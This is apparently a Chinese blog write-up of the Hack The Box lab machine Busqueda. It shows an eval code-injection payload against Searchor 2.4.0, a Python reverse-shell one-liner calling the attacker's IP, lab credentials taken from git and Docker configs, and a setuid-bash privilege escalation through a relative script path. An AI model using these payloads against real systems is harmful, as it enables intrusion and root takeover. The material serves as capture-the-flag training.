HTB-Busqueda

请添加图片描述

信息收集

在这里插入图片描述
在这里插入图片描述

80端口

在这里插入图片描述
将ip和searcher.htb添加至/etc/hosts文件。
在这里插入图片描述
功能能就是你输入一个值,选择好搜索引擎后点击search,就会生成一个选择的搜索引擎里搜索你输入的值的链接。比如输入aster。

在这里插入图片描述
如果勾选了自动重定向就会使用你选择的引擎搜索你输入的值。
在这里插入图片描述

在这里插入图片描述

页面最底下有一句:Powered by Flask and Searchor 2.4.0 ,查看github的库。
在这里插入图片描述
在查看版本更新内容的时候发现searchor 2.4.2修复了一个vulnerability。
在这里插入图片描述
跟随链接进去查看具体是指什么。
在这里插入图片描述

看来是因为eval导致的任意代码执行。通过Github下载存在问题的版本,并开始阅读源代码。找到了eval所在位置。

在这里插入图片描述

使用burp suite抓包发现提交的参数信息。

在这里插入图片描述

如果将engine的值内容添加英文双引号,会出现不可用的引擎。
在这里插入图片描述

如果将query的值添加英文单引号,会出现因为错误而导致的空界面。
在这里插入图片描述

做个小实验,本意是你输入的query字符串会被输出两次。

在这里插入图片描述

比如我输入9,就会出现两个9组成的字符串。
在这里插入图片描述

输入单引号9('9)会出现什么呢?会出现语法错误。
在这里插入图片描述
这时候就可以通过eval注入一些恶意代码。

在这里插入图片描述
以加号(+)连接。

在这里插入图片描述

没错就是这个思路我们在网站的query处输入'+__import__("os").system("id")+'
在这里插入图片描述

svc

测试一下ping。

在这里插入图片描述

开始尝试反弹shell的语句。
在这里插入图片描述
似乎直接依靠命令反弹有点不好使,所以我打算制作一个shell或者直接上传nc。但是对方不为所动。

在这里插入图片描述

行吧。不过我感觉似乎有什么东西还是说python编译器在阻拦shell的建立。

在这里插入图片描述
经过测试我发现我的卡莉似乎坏了,换了个卡莉后正常(一定要保持良好的快照习惯啊,当然别忘了备份的习惯)。使用下面的python代码反弹shell。

python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.31\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")\'

在这里插入图片描述

svc -> root

在/var/www/app目录发现了.git。
在这里插入图片描述
肯能会涉及到git回滚,使用git log查看commit的版本会遇到安全权的问题,使用给出的命令添加安全例外。不过添加后运行git log就没动静了。
在这里插入图片描述

升级为较为完整的shell后执行git log会得到Initial commit初始提交。
在这里插入图片描述

查看系统内核时候发现可能会存在DirtyPipe。
在这里插入图片描述
在这里插入图片描述

不过经过几次对DirtyPipe的尝试后均无果。打住,继续收集信息。我们的小豌豆帮我们找到了很多网站。
在这里插入图片描述

其实就两个,将gitea.searcher.htb添加至hosts后。
在这里插入图片描述
登录界面?去找找有没有凭证。
在这里插入图片描述
去官网翻翻文档看有没有默认账号密码、默认安装路径等信息。很遗憾没有找到有用信息。回到最开始的/var/www/app里,去看看那个.git文件。
在这里插入图片描述
发现了凭证cody:jh1usoih2bkjaspwe92。
在这里插入图片描述

通过凭证登录后来到新的界面。可以看到cody先创建了一个仓库,administrator在仓库中创建了分支,administrator推送到了仓库的main分支。
在这里插入图片描述

但是我对比了一下这个仓库和/var/www/app里的,没有差距。可能cody是svc。
在这里插入图片描述
来看看/opt/scripts目录,我们没有权限直接查看system-checkup.py文件内容。

在这里插入图片描述
运行看看。

在这里插入图片描述
似乎我们能执行这三个命令docker-ps、docker-inspect、full-checkup。执行docker-ps试试。

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps

在这里插入图片描述

就是这个docker-inspect,貌似是我们能唯一输入命令或者语句的地方。
在这里插入图片描述
full-checkup就是对容器进行体检。
在这里插入图片描述

注意力集中在docker-inspect上吧。看官方文档。
在这里插入图片描述
附上官网文档对docker inspect的用法说明

在这里插入图片描述
使用sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' 960873171e2e查看960873171e2ed的Json版本的config。
在这里插入图片描述
从中发现了数据库的凭证。

在这里插入图片描述
修改ID查看f84a6b33fb5a的Json版本的config。
在这里插入图片描述
不出意外这两个密码应该不是root的密码。试试用两个密码能不能登陆gitea的administrator。

  • yuiu1hoiu4i5ho1uh
  • jI86kGUuj87guWr3RyF

使用administrator:yuiu1hoiu4i5ho1uh登录gitea的administrator用户。

在这里插入图片描述

这几个脚本对应/opt/scripts文件的几个脚本。其中system-checkup.py就是我们能一root运行的脚本。非常有趣的就是屏幕截图上的一部分代码。
在这里插入图片描述
其中的__formatcontainer是我们可控的,他在最后会调用run_command函数来执行命令。其中run_command函数内有subprocess.run。
在这里插入图片描述
我们可以控制可控变量来进行代码执行。不过经过尝试几次后我觉得我可能没有办法实现任意代码执行,或者说这里是个兔子洞。

这段估计又是一个有趣的东西。他在当前目录找full-checkup.sh。
在这里插入图片描述

这次并没用绝对路径。当我们在/opt/scripts目录执行sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup,他是能够正常显示。
在这里插入图片描述

如果我们在/tmp目录下执行就会出现问题。
在这里插入图片描述
所以我们在/tmp目录创建一个full-checkup.sh文件内容如下:

#!/bin/bash
cp /bin/bash /tmp/bash
chmod +s /tmp/bash

修改好文件权限后执行sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
似乎有一个脚本在对/tmp进行重置,注意一下即可。

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值